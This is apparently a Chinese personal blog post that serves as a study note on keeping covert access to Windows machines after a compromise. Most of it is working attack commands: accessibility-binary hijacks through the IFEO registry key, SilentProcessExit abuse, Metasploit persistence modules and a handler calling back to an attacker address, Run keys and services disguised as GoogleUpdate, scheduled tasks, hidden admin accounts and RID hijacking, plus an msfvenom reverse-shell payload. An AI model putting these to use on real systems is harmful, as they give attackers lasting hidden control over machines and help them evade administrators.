windwos权限维持

权限维持简介

为了保证获取到的目标权限不会因为漏洞的修复而丢失,攻击者通常会在目标上安装一个后门,来保证对目标的持久化控制。

就是安装后门

系统工具替换后门

当我们按照常理运行属于IFEO列表的文件的时候(即可执行文件名在上述的注册表项下,出于简化原 因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名 字没有变化,它就可以正常运行。)会执行相关的选项参数,这里我们主要利用的参数是 debugger, 通过该参数我们可以实现偷梁换柱。

常用辅助功能

  1. Shift(sethc)
  2. 屏幕键盘(osk)
  3. 辅助工具管理器(Utilman)
  4. 讲述人(Narrator)

简单演示

在对方开启rdp的情况之下,我们可以使用登录界面的,讲述人,放大镜等功能实现权限维持

也就是说,将对应的功能换成自己的payload

image-20240216085130074

简介

Windows 的辅助功能提供了额外的选项(屏幕键盘,放大镜,屏幕阅读等),可以帮助特殊人士更容易地使用操作系统。

然而,这种功能可能会被滥用于在启用 RDP 并获得 Administrator 权限的主机上实现持久化访问。 这种技术会接触磁盘,或者需要修改注册表来执行远程存储的 payload。涉及到的注册表项为 IFEO(Image File Execution Options) ,默认是只有管理员和Local system有权读写修改。

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

关于注册表

可以理解为windwos的大型的数据库

使用win+r进入注册表

1
regedit

image-20240216085706649

存储的数据都是windwos运行中需要使用的数据,程序运行,程序本生的信息都在注册表

然后根据上面的进行查找

可能发现就和我上截图一样发现并没有HKEY_LOCAL_MACHINE的文件夹,可能是用户权限不允许的原因

image-20240216090130363

发现存在

原理

当我们按照常理运行属于IFEO列表的文件的时候(即可执行文件名在上述的注册表项下,出于简化原 因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名 字没有变化,它就可以正常运行。)会执行相关的选项参数,这里我们主要利用的参数是 debugger, 通过该参数我们可以实现偷梁换柱。

就是劫持的原理,由于他不会检查路径所以我们直接放置我们的payload ,然后需要修改为劫持应用的名字,从而实现劫持

  1. Shift(sethc,粘滞键) 2. 屏幕键盘(osk) 3. 辅助工具管理器(Utilman) 4. 讲述人(Narrator)

例子

劫持ie

以修改IE启动程序为例,实现运行IE程序但是启动的却是cmd。

  1. 找到注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 目录下的 iexplore.exe

    image-20240216095152453

  2. 添加一个debugger字符串键值,并且赋值为 cmd.exe 的执行路径

这里是需要执行什么就填什么的路径

image-20240216095327505

1
C:\Windows\system32\cmd.exe

image-20240216100219800

如果发现没有explore.exe程序的话,那就直接创建 一个项

然后将添加修改这个项

现在运行ie

image-20240216100339246

就是cmd了

image-20240216100435859

复原之后

  1. 也可以直接使用reg命令

    1
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

    现在模拟权限维持

    上线之后

    image-20240216101905870

    image-20240216101926352

    发现已经添加

劫持 Narrator

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

image-20240216102138392

image-20240216102143408

现在通过远程桌面连接,就直接返回到登录界面进行模拟

image-20240216102921248

还是system权限注意,如果没有密码可能发现登陆不上

image-20240216103052920

远程桌面连接也是一样的

劫持 Utilman 辅助管理器

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

notepad

实现原程序退出后,静默运行后门程序。从而执行notepad 为例,推出后静默运行calc.exe

1
2
3
4
5
6
7
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 /f

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 /f

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\system32\calc.exe" /f

# 可以更改C:\Windows\system32\calc.exe为payload,如powershell命令

我现在模拟运行cmd之后运行payload

1
2
3
4
5
6
7
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe" /v GlobalFlag /t REG_DWORD /d 512 /f

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\cmd.exe" /v ReportingMode /t REG_DWORD /d 1 /f

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\cmd.exe" /v MonitorProcess /t REG_SZ /d "C:\w_x64_reverse_9999.exe" /f

# 可以更改C:\Windows\system32\calc.exe为payload,如powershell命令

MonitorProcess:表示监视器进程
ReportingMode:可以设置为以下三个值
0x1:LAUNCH_MONITORPROCESS,检测到进程静默退出时,将会启动监视器进程,即
MonitorProcess 的项值
0x2:LOCAL_DUMP,检测到进程静默退出时,将会为受监视的进程创建转储文件
0x3:NOTIFICATION,检查到进程静默退出时,将会弹出一个通知\

发现cmd不太行,但是我是用notepad 是可以的

image-20240216111320006

msf

sticky_keys

Metasploit 框架提供了一个后渗透模块,可实现自动化地利用沾滞键的权限维持技术。 该模块将用 CMD 替换辅助功能的二进制文件(sethc, osk, disp, utilman)。

1
use post/windows/manage/sticky_keys

image-20240216110351370

TARGET 是粘滞键

image-20240216110442127

成功添加

模拟访问

image-20240216110602534

连按5次 shift

将Exe 换成我们指定的文件

image-20240216110823503

连续按5次shift 之后

image-20240216110916975

image-20240216111034670

system权限的

image-20240216111214241

查看Windows 之后发现这个被创建

msf

Persistence模块

重启触发

exploit/windows/local/persistence

Persistence 模块首先上传 vbs 脚本,然后执行vbs脚本修改注册表 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 或 HKLM\Software\Microsoft\Windows\CurrentVersion\Run从而完成自启动。

1
2
3
use exploit/windows/local/persistence
set session 1
set payload windows/meterpreter/reverse_tcp
1
2
3
4
5
6
7
DELAY     10               yes       持久性有效载荷不断重新连接回来的延迟(秒)。
EXE_NAME no 将在目标主机上使用的有效载荷的文件名(默认为%RAND%.exe)。
PATH no 写入有效载荷的路径(默认为%TEMP%)。
REG_NAME no 在目标主机上调用注册表值进行持久化的名称(默认为%RAND%)。
SESSION 1 yes 运行该模块的会话
STARTUP USER yes 持久性有效载荷的启动类型。(接受:USER, SYSTEM)
VBS_NAME no 目标主机上的VBS持久化脚本要使用的文件名(默认为%RAND%)。
1
注意这个模块的PATH 不具有通用性,可以尝试更改为 windows/temp

这个模块的原理,使用可以子自运行的注册表项,然后自运行

image-20240216113647895

image-20240216113806741

发现擦创建了对应的payload

查看注册表时发现是HKCU

发现并没有在注册表里,但是这个是缩写,缩写原则是前一个单词的前两个字母,和后两个单词的首字母

image-20240216114441656

image-20240216114845032

Autorunscript

获取shell的时候自动执行持续化脚本,可以被 Autorunscript 执行的命令目录在 metasploit/scripts/meterpreter。

  • persistence

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    meterpreter > run persistence -h

    -A:自动启动一个匹配的漏洞/多/处理程序来连接到代理
    -X:开机启动,注册表位置:
    HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    -U:当前用户登录后自启动,注册表位置:
    HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    -S:作为服务启动,注册表位置:
    HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    -T:选择要使用的可执行模板
    -L:后门传到远程主机的位置默认为 %TEMP%
    -P:使用的Payload,默认windows/meterpreter/reverse_tcp,
    该默认的payload生成的后门为32位程序
    因此,当目标机器为64位系统时,留下的后门将无法运行
    -i:设置反向连接间隔时间,单位为秒
    -p:设置反向连接的端口号
    -r:设置反向连接的ip地址
    1
    2
    3
    4
    5
    6
    7
    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.78.117
    set LPORT 5555
    set ExitOnSession false
    set AutoRunScript persistence -r 192.168.78.117 -p 5556 -U -X -i 30
    exploit

    在创建handler 的时候指定运行的脚本,意思就是说当执行有连接的时候,就会触发这个

  • migrate

进程迁移操作

1
2
3
4
5
6
7
8
9
# migrate

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.78.117
set LPORT 5555
set ExitOnSession false
set AutoRunScript migrate -f
exploit

image-20240216122125942

尝试迁移到具体的进程名字

image-20240216122620871

发现参数指定错了

使用-n

image-20240216122852964

进程迁移的原理

先获取指定的进程的句柄,从而打开这个进程,然后申请一个内存用于执行shellcode 然后使用内存复制的函数,将原来的shellcode 执行,从而实现了内存注入

可以考虑为,使用ce 修改单机游戏的内存然后获取数值 上面的添加

开机自启动的注册表项

使用这个方式的话,当受害者开机的话就会执行payload

注册表的 HKEY_LOCAL_MACHINE 和 HKEY_CURRENT_USER 键的区别:前者对所有用户有效,后者只对当前用户有效

run

每一次系统启动时都是按照顺序自动的执行。是自动运行最常用用的键

1
2
3
4
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run      # 当前用户
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run # 设置了所有的用户登录都会被执行
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

RunOnce

用来启动服务程序,启动时间再用户登录之前,而且先于其他通过注册键启动的程序

1
2
3
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

RunServiceOnce

用于启动服务,启动时间再用户登录之前,而且先于其他方式注册的自启动程序

启动时间为用户登录之前,但是现在操作系统是已经没有了,并且这个应该写入服务的程序,而不是exe

1
2
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

RunOnceSetup

指定了用户登录之后运行的程序

1
2
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceSetup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceSetup

Load

1
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows

这个感觉有一点奇怪

建一个字符串名为load 的键值,为自启动程序的路径,需要注意短文间名规则

如c:\Program Files 应该为c:\progra~1

Winlogon

1
2
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

找到 Userinit 键值,默认为 C:\Windows\system32\userinit.exe, 后面加路径,再加逗号 也可以。也能够使系统启动时自动初始化程序。比如:userinit.exe,OSA.exe

注意下面的 Notify、Shell 键值也会有自启动的程序,而且其键值可以用逗号分隔,从而实现

登录的时候启动多个程序。

示例

使用生成的反弹shell的payload

在 meterpreter 下执行

1
2
3
4
5
6
upload /root/nc.exe C:\\windows\\system32  # 上传payload

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run # 列出子项
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v GoogleUpdate -d 'C:\windows\temp\GoogleUpdate.exe' # 设置值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v GoogleUpdate
shutdown -r -f -t 0

在目标cmd 下执行

1
2
3
4
5
6
upload /root/nc.exe C:\\windows\\system32
shell
reg query HKLM\software\microsoft\windows\currentversion\run
reg add HKLM\software\microsoft\windows\currentversion\run /v GoogleUpdate /t REG_SZ /d "C:\windows\temp\GoogleUpdate.exe"
reg query HKLM\software\microsoft\windows\currentversion\run /v GoogleUpdate
shutdown -r -f -t 0

Schtasks计划任务

这个方式很常用,可以定时执行我们指定的payload

Schtasks

创建test定时任务,每分钟执行一次5555.exe

1
schtasks /create /sc MINUTE /mo 1 /tr C:\Users\Administrator\Desktop\6666.exe /tn test

命令解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
schtasks /create
# 创建新的计划任务

/sc schedule
# 指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。

/mo modifier
# 指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。

/tr <TaskRun>
# 指定任务运行的程序或命令。如果忽略该路径,SchTasks.exe 将假定文件在 %Systemroot%\System32 目录下。

/tn <TaskName>
# 指定任务的名称。

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 每分钟执行一次任务
schtasks /create /sc MINUTE /mo 1 /tn calc_update /tr "C:\windows\temp\5555.exe"

# 每小时执行一次任务
schtasks /create /sc HOURLY /mo 1 /tn calc_update /tr "C:\windows\temp\5555.exe"

# 每天执行一次任务
schtasks /create /sc DAILY /mo 1 /tn calc_update /tr "C:\windows\temp\5555.exe"

# 每周执行一次任务
schtasks /create /sc WEEKLY /mo 1 /tn calc_update /tr "C:\windows\temp\5555.exe"

# 删除计划任务
schtasks /delete /tn calc_update /F

schtasks命令详解: https://www.cnblogs.com/visoeclipse/archive/2009/08/29/1556240.html

schtasks+powershell

不推荐使用,不免杀,而且基本都会查杀

https://mp.weixin.qq.com/s/Tt6REDrPH-WWgMB-mIOnTA

利用PowerShell启动时执行Get-Variable执行恶意文件

  1. 将恶意程序放在 %APPDATA%\Local\Microsoft\WindowsApps 目录下并重命名为 Get-Variable.exe

  2. 创建计划任务实现持久化

1
schtasks.exe&nbsp;/create&nbsp;/tn&nbsp;COMSurrogate&nbsp;/st&nbsp;00:00&nbsp;/du&nbsp;9999:59&nbsp;/sc&nbsp;once&nbsp;/ri&nbsp;1&nbsp;/f&nbsp;/tr&nbsp;"powershell.exe&nbsp;-windowstyle&nbsp;hidden"
  1. 该命令创建计划任务程序 COMSurrogate,该程序以隐藏的方式执行PowerShell。而执行 PowerShell 会启动恶意程序 GetVariable.exe,从而实现持久化。

    原理:通过运行PowerShell时触发执行 Get-variable 来实现攻击

账户隐藏

就是创建一个隐藏用户,用户登录

隐藏用户的话通过 net user 是发现不了的,只有在控制面版里面的管理账户界面可以看到

1
net user admin$ AdminPassw0ad /add && net localgroup administrators admin$ /add

结尾使用$的意思就是隐藏用户

激活Guest用户( 推荐使用这个 )

1
2
net user guest /active:yes
net user guest Admin@hacker && net localgroup administrators guest /add

RID 劫持

https://3gstudent.github.io/渗透技巧-Windows系统的帐户隐藏

RID

Relative Identifier 相对标识符 Windows系统账户对应固定的RID:

500:Administrator
501:Guest
502:krbtgt(域)
512:Domain Admins(域)
513:Domain Users(域)
514:Domain Guests(域)
515:Domain Computers(域)
516:Domain Controllers(域)

SID

Security Identifiers 安全标识符

安全标识符用于唯一标识安全主体或安全组。 安全主体可以表示可由操作系统进行身份验证的任何实 体,例如用户帐户、计算机帐户或在用户或计算机帐户的安全上下文中运行的线程或进程。

https://learn.microsoft.com/zh-cn/windows-server/identity/ad-ds/manage/understand-security- identifiers

用户使用帐户名引用帐户,但是操作系统内部使用其安全标识符(SID)引用在帐户的安全上下文中运行 的帐户和进程。对于域帐户,通过将域的SD与该帐户的相对标识符(RID)串联来创建安全主体的SID。 SID在其范围内(域或本地)是唯一的,并且永不重用。

RID 劫持

通过覆写注册表数据,可以在被攻击设备上劫持任意用户的RID,并将其分配给另外一个用户

被劫持账户没有启用的情况,依旧可以达到劫持效果

被分配的用户拥有被劫持用户的权限

被分配用户的操作会以被劫持用户的身份留存事件日志

但是该方案是被杀毒软件查杀

1
2
对于Windows系统来说,注册表 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下包含当前系统的所有账户列表,每个账户的默认键值对应账户详细信息的注册表位置(即RID的十六进制表示)
创建克隆 administrator 的账号,且通过命令 net user 以及控制面板中的管理账户无法看到
  1. 用’$’创建匿名用户,并归到 administrators 用户组

    1
    2
    3
    net user admin$ admin@123 /add /y
    net localgroup administrators admin$ /add
    net localgroup "remote desktop users" admin$ /add

    image-20240216145101156

    这个时候通过控制面板还是可以看到

  2. 将 administrator 用户对应的 Users 中的 F 值复制替换后门账户的 F值

    导出匿名用户对应的sam目录下的注册表键值:

    regedt32.exe 打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 键值,导出 Names 下用户目录以及对应的16进制目录。

    注意:SAM 下的注册表选项需要获得 system 权限才能读取,因此需要给 Administrator 用户赋予 SAM 键值权限,默认是不允的。

    或者直接修改 admin$ 用户的 F 值,把其中的 F2 03 修改为 F4 01 即可

    1. 首先找到这个sam 然后修改权限,不然是看不到数据的

      image-20240216151845729

      administrarot 是完全可以控制

    2. 导出管理员账户的对应的值

      image-20240216152325067

      查看这个值为1f4 对应就是500

      image-20240216152409726

      image-20240216152502912

    3. 找到我们创建的用户

      然后导出该用户的对应值

      image-20240216152541251

      然后将该用户导出来

      image-20240216152711441

      双击就能导入

    4. 修改我们创建用户的F值

      有两种方式

      • 直接修改

        image-20240216153054698

        image-20240216153010574

        注意这个值是反的

        我们修改为管理员的f 值

        image-20240216153200582

      • 修改导出的文件

        image-20240216153313303

        将这个值直接粘贴成管理员用户的值

        然后删除我们创建的用户

        1
        net user admin$ /del

        删除之后导入admin$ 一套的reg文件

        可以使用双击或者一下的命令

        1
        2
        regedit /s 1.reg
        regedit /s 2.reg

        用先前导出的注册表键值对注册表进行修改。则可以重新还原之前的匿名用户,但是除了在注册表里 面有用户记录,其他地方都不存在用户的信息。net user 或计算机管理里本地用户和用户组是看不到用户信息的,具有很好的隐蔽性质。

    5. 检查是否存在

      image-20240216153934969

      image-20240216153955507

      成功隐藏

      image-20240216154822379

      使用该用户登录,发现桌面和Administrator 的一样

      警告是因为由于两个同时登录

文件夹启动

这个现在很少用到了

在每次开机或重启的时候就会运行启动文件夹下的程序

1
2
3
C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

通过服务的方式自启动

  1. 生成一个可以与服务管理器交互的(防止下线)payload

    1
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.58.144 lport=8989 -f exe-service -o GoogleUpdate.exe
  2. sc创建一个GoogleUpdateService服务,执行我们上传的木马

    1
    sc create GoogleUpdateService binPath= "C:\Windows\temp\GoogleUpdate.exe" displayname="GoogleUpdateService" start= auto

重启权限维持。


windwos权限维持
https://tsy244.github.io/2024/02/16/渗透/windwos权限维持/
Author
August Rosenberg
Posted on
February 16, 2024
Licensed under